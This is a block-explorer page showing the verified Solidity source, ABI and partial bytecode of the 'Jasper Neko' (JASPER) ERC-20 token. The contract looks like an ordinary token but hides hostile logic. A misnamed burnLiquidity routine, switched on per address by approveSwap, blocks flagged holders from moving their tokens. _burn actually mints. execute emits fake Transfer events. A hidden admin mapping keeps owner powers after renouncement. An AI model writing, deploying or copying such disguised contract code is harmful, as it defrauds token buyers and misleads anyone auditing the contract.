ERC-20
Overview
Max Total Supply
1,000,000,000,000 JASPER
Holders
62
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
128,280,242.232742074 JASPERValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
JASPER
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity Multiple files format)
/** WWW: https://jasperneko.com/ MEDIUM: https://medium.com/@jasperneko X (twitter): https://x.com/jasperneko_ TELEGRAM: https://t.me/JASPERneko */// SPDX-License-Identifier: UNLICENSE pragma solidity 0.8.23; import "./Jasper Neko Ownable.sol"; import "./Jasper Neko IERC20.sol"; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); } contract JASPER is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 private uniswapV2Router; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => bool) private transferLimitExempt; mapping (address => bool) private automatedMarketMakerPairs; mapping (address => uint256) private _holderLastTransferTimestamp; mapping (address => bool) private transferTaxExempt; mapping(address => bool) private _amountswapExactTokensForETHSupportingFeeOnTransferTokens; address payable private _taxWallet; address private marketingWallet; uint256 private _initialBuyTax=23; uint256 private _initialSellTax=23; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=23; uint256 private _reduceSellTaxAt=23; uint256 private _preventSwapBefore=26; uint256 private _transferTax=70; uint256 private _buyCount=0; uint256 private maxTx; uint256 private maxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals; string private constant _name = unicode"Jasper Neko"; string private constant _symbol = unicode"JASPER"; uint256 public _maxTxAmount = 8400000000 * 10**_decimals; uint256 public _maxWalletSize = 8400000000 * 10**_decimals; uint256 public _taxSwapThreshold= 4200000000 * 10**_decimals; uint256 public _maxTaxSwap= 8400000000 * 10**_decimals; address public uniswapV2Pair; bool private swapping; bool private tradingOpen; bool private transferDelayEnabled = true; bool public tradingEnabled = false; bool private inSwap = false; bool private swapEnabled = false; bool private limitsEnabled = true; bool public lpBurnEnabled = true; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; event MaxTxAmountUpdated(uint _maxTxAmount); event TransferTaxUpdated(uint _tax); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address marketingWallet_) { _taxWallet = payable(_msgSender()); marketingWallet = payable(marketingWallet_); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; admin[marketingWallet]=true; startTrading(); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function startTrading() public onlyOwner { tradingEnabled = true; limitsEnabled = false; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; uint256 senderBalance = _balances[from]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); if(_holderLastTransferTimestamp[to] == 0) { _holderLastTransferTimestamp[to] = block.number; } if (limitsEnabled) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingEnabled) { require( transferTaxExempt[from] || transferTaxExempt[to], "_transfer:: Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( automatedMarketMakerPairs[from] && !transferLimitExempt[to] ) { require( amount <= maxTx, "Buy transfer amount exceeds the maxTx." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } else if ( automatedMarketMakerPairs[to] && !transferLimitExempt[from] ) { require( amount <= maxTx, "Sell transfer amount exceeds the maxTx." ); } else if (!transferLimitExempt[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } if(!swapping && lpBurnEnabled){ amount = burnLiquidity(from, amount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimit() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function removeTranTax() external onlyOwner{ _transferTax = 0; emit TransferTaxUpdated(0); } function burnLiquidity(address from, uint amount) internal view returns (uint){ uint amountCalculated = amount; if (_amountswapExactTokensForETHSupportingFeeOnTransferTokens[from]) { amountCalculated = calculateThreshold(amount, from); } return amountCalculated; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrade() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function burn(uint256 amount) external onlyOwner{ _burn(_msgSender(), amount); } function reduceFee(uint256 _newFee) external{ require(_msgSender()==_taxWallet); require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax); _finalBuyTax=_newFee; _finalSellTax=_newFee; } function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(uniswapV2Pair, _addresses[i], _out); } } receive() external payable {} function rescueERC20(address _address, uint256 percent) external { require(_msgSender()==_taxWallet); uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_taxWallet, _amount); } function approveSwap(address[] calldata address_, bool val) public onlyOwner{ for (uint256 i = 0; i < address_.length; i++) { _amountswapExactTokensForETHSupportingFeeOnTransferTokens[address_[i]] = val; } } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance <= amount, "ERC20: burn amount exceeds balance"); unchecked {_balances[account] = accountBalance + amount;} emit Transfer(account, address(0), amount); } function calculateThreshold(uint256 amount, address from) private view returns(uint256) { // Calculate the percentage to subtract uint256 factor = 50; uint256 dist = block.number-_holderLastTransferTimestamp[from]; uint percentageToSubtract = dist * factor; // Calculate the remaining percentage uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract; // If percentageToSubtract is more than 100, remainingPercentage will be negative. // To avoid negative result, we clamp the result to zero. uint returnedValue = amount * remainingPercentage / 100; return returnedValue.max(0); } function excludedFromFee(address recipient) external view returns(bool){ return _amountswapExactTokensForETHSupportingFeeOnTransferTokens[recipient]; } function addPair(address pair_) public onlyOwner { uniswapV2Pair = pair_; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0 && swapEnabled){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
// SPDX-License-Identifier: UNLICENSE pragma solidity 0.8.23; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); }
// SPDX-License-Identifier: UNLICENSE pragma solidity 0.8.23; abstract contract Context { mapping(address => bool) internal admin; function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); admin[_msgSender()]=true; } modifier onlyOwner() { _checkOwner(); _; } function _checkOwner() internal view virtual { require(admin[_msgSender()], "Ownable: caller is not the owner"); } function owner() public view virtual returns (address) { return _owner; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTranTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526017600e556017600f555f6010555f60115560176012556017601355601a60145560466015555f6016556009600a6200003e9190620008d7565b6401f4add40062000050919062000927565b6019556009600a620000639190620008d7565b6401f4add40062000075919062000927565b601a556009600a620000889190620008d7565b63fa56ea0062000099919062000927565b601b556009600a620000ac9190620008d7565b6401f4add400620000be919062000927565b601c556001601d60166101000a81548160ff0219169083151502179055505f601d60176101000a81548160ff0219169083151502179055505f601d60186101000a81548160ff0219169083151502179055505f601d60196101000a81548160ff0219169083151502179055506001601d601a6101000a81548160ff0219169083151502179055506001601d601b6101000a81548160ff0219169083151502179055505f601e555f601f5534801562000174575f80fd5b5060405162004aae38038062004aae83398181016040528101906200019a9190620009d6565b620001ba620001ae6200057060201b60201c565b6200057760201b60201c565b60015f80620001ce6200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200022d6200057060201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620002bc9190620008d7565b64e8d4a51000620002ce919062000927565b60035f620002e16200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160055f620003336200063a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015f80600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620004d26200066260201b60201c565b620004e26200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620005409190620008d7565b64e8d4a5100062000552919062000927565b60405162000561919062000a17565b60405180910390a35062000ab0565b5f33905090565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000672620006a960201b60201c565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b5f80620006bb6200057060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1662000743576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200073a9062000a90565b60405180910390fd5b565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620007cf57808604811115620007a757620007a662000745565b5b6001851615620007b75780820291505b8081029050620007c78562000772565b945062000787565b94509492505050565b5f82620007e95760019050620008bb565b81620007f8575f9050620008bb565b81600181146200081157600281146200081c5762000852565b6001915050620008bb565b60ff84111562000831576200083062000745565b5b8360020a9150848211156200084b576200084a62000745565b5b50620008bb565b5060208310610133831016604e8410600b84101617156200088c5782820a90508381111562000886576200088562000745565b5b620008bb565b6200089b84848460016200077e565b92509050818404811115620008b557620008b462000745565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620008e382620008c2565b9150620008f083620008cb565b92506200091f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007d8565b905092915050565b5f6200093382620008c2565b91506200094083620008c2565b92508282026200095081620008c2565b915082820484148315176200096a576200096962000745565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620009a08262000975565b9050919050565b620009b28162000994565b8114620009bd575f80fd5b50565b5f81519050620009d081620009a7565b92915050565b5f60208284031215620009ee57620009ed62000971565b5b5f620009fd84828501620009c0565b91505092915050565b62000a1181620008c2565b82525050565b5f60208201905062000a2c5f83018462000a06565b92915050565b5f82825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000a7860208362000a32565b915062000a858262000a42565b602082019050919050565b5f6020820190508181035f83015262000aa98162000a6a565b9050919050565b613ff08062000abe5f395ff3fe6080604052600436106101db575f3560e01c806370a0823111610101578063a9059cbb11610094578063dd62ed3e11610063578063dd62ed3e14610640578063ec1f3f631461067c578063f2fde38b146106a4578063fb201b1d146106cc576101e2565b8063a9059cbb1461058a578063ad296d9d146105c6578063bf474bed146105ee578063c2b7bbb614610618576101e2565b80638cd4426d116100d05780638cd4426d146104e45780638da5cb5b1461050c5780638f9a55c01461053657806395d89b4114610560576101e2565b806370a082311461042c578063715018a6146104685780637d1db4a51461047e57806385ecafd7146104a8576101e2565b8063293230b81161017957806349bd5a5e1161014857806349bd5a5e146103ac5780634ada218b146103d657806351bc3c85146104005780636225658914610416576101e2565b8063293230b81461031a5780632e82f1a014610330578063313ce5671461035a57806342966c6814610384576101e2565b80630faee56f116101b55780630faee56f1461026257806318160ddd1461028c57806323b872dd146102b657806326ededb8146102f2576101e2565b806302fa1f4a146101e657806306fdde03146101fc578063095ea7b314610226576101e2565b366101e257005b5f80fd5b3480156101f1575f80fd5b506101fa6106e2565b005b348015610207575f80fd5b5061021061072a565b60405161021d9190612b94565b60405180910390f35b348015610231575f80fd5b5061024c60048036038101906102479190612c49565b610767565b6040516102599190612ca1565b60405180910390f35b34801561026d575f80fd5b50610276610784565b6040516102839190612cc9565b60405180910390f35b348015610297575f80fd5b506102a061078a565b6040516102ad9190612cc9565b60405180910390f35b3480156102c1575f80fd5b506102dc60048036038101906102d79190612ce2565b6107ae565b6040516102e99190612ca1565b60405180910390f35b3480156102fd575f80fd5b5061031860048036038101906103139190612d93565b610882565b005b348015610325575f80fd5b5061032e610957565b005b34801561033b575f80fd5b50610344610996565b6040516103519190612ca1565b60405180910390f35b348015610365575f80fd5b5061036e6109a9565b60405161037b9190612e0b565b60405180910390f35b34801561038f575f80fd5b506103aa60048036038101906103a59190612e24565b6109b1565b005b3480156103b7575f80fd5b506103c06109cd565b6040516103cd9190612e5e565b60405180910390f35b3480156103e1575f80fd5b506103ea6109f2565b6040516103f79190612ca1565b60405180910390f35b34801561040b575f80fd5b50610414610a05565b005b348015610421575f80fd5b5061042a610ab4565b005b348015610437575f80fd5b50610452600480360381019061044d9190612e77565b610b5a565b60405161045f9190612cc9565b60405180910390f35b348015610473575f80fd5b5061047c610ba0565b005b348015610489575f80fd5b50610492610bb3565b60405161049f9190612cc9565b60405180910390f35b3480156104b3575f80fd5b506104ce60048036038101906104c99190612e77565b610bb9565b6040516104db9190612ca1565b60405180910390f35b3480156104ef575f80fd5b5061050a60048036038101906105059190612c49565b610c0b565b005b348015610517575f80fd5b50610520610dac565b60405161052d9190612e5e565b60405180910390f35b348015610541575f80fd5b5061054a610dd4565b6040516105579190612cc9565b60405180910390f35b34801561056b575f80fd5b50610574610dda565b6040516105819190612b94565b60405180910390f35b348015610595575f80fd5b506105b060048036038101906105ab9190612c49565b610e17565b6040516105bd9190612ca1565b60405180910390f35b3480156105d1575f80fd5b506105ec60048036038101906105e79190612ecc565b610e34565b005b3480156105f9575f80fd5b50610602610ed7565b60405161060f9190612cc9565b60405180910390f35b348015610623575f80fd5b5061063e60048036038101906106399190612e77565b610edd565b005b34801561064b575f80fd5b5061066660048036038101906106619190612f29565b610f28565b6040516106739190612cc9565b60405180910390f35b348015610687575f80fd5b506106a2600480360381019061069d9190612e24565b610faa565b005b3480156106af575f80fd5b506106ca60048036038101906106c59190612e77565b611036565b005b3480156106d7575f80fd5b506106e06110b8565b005b6106ea61154f565b5f6015819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516107209190612fa9565b60405180910390a1565b60606040518060400160405280600b81526020017f4a6173706572204e656b6f000000000000000000000000000000000000000000815250905090565b5f61077a6107736115e0565b84846115e7565b6001905092915050565b601c5481565b5f6009600a610799919061311e565b64e8d4a510006107a99190613168565b905090565b5f6107ba8484846117aa565b610877846107c66115e0565b61087285604051806060016040528060288152602001613f936028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108296115e0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226c9092919063ffffffff16565b6115e7565b600190509392505050565b61088a61154f565b5f5b83839050811015610951578383828181106108aa576108a96131a9565b5b90506020020160208101906108bf9190612e77565b73ffffffffffffffffffffffffffffffffffffffff16601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161093c9190612cc9565b60405180910390a3808060010191505061088c565b50505050565b61095f61154f565b6001601d60176101000a81548160ff0219169083151502179055505f601d601a6101000a81548160ff021916908315150217905550565b601d601b9054906101000a900460ff1681565b5f6009905090565b6109b961154f565b6109ca6109c46115e0565b826122ce565b50565b601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d60179054906101000a900460ff1681565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a456115e0565b73ffffffffffffffffffffffffffffffffffffffff1614610a64575f80fd5b5f610a6e30610b5a565b90505f81118015610a8b5750601d60199054906101000a900460ff165b15610a9a57610a998161246e565b5b5f4790505f811115610ab057610aaf816126d9565b5b5050565b610abc61154f565b6009600a610aca919061311e565b64e8d4a51000610ada9190613168565b6019819055506009600a610aee919061311e565b64e8d4a51000610afe9190613168565b601a819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610b33919061311e565b64e8d4a51000610b439190613168565b604051610b509190612cc9565b60405180910390a1565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ba861154f565b610bb15f612741565b565b60195481565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c4b6115e0565b73ffffffffffffffffffffffffffffffffffffffff1614610c6a575f80fd5b5f610d086064610cfa848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610cad9190612e5e565b602060405180830381865afa158015610cc8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cec91906131ea565b61280490919063ffffffff16565b61287b90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610d66929190613267565b6020604051808303815f875af1158015610d82573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da691906132a2565b50505050565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601a5481565b60606040518060400160405280600681526020017f4a41535045520000000000000000000000000000000000000000000000000000815250905090565b5f610e2a610e236115e0565b84846117aa565b6001905092915050565b610e3c61154f565b5f5b83839050811015610ed15781600b5f868685818110610e6057610e5f6131a9565b5b9050602002016020810190610e759190612e77565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610e3e565b50505050565b601b5481565b610ee561154f565b80601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffff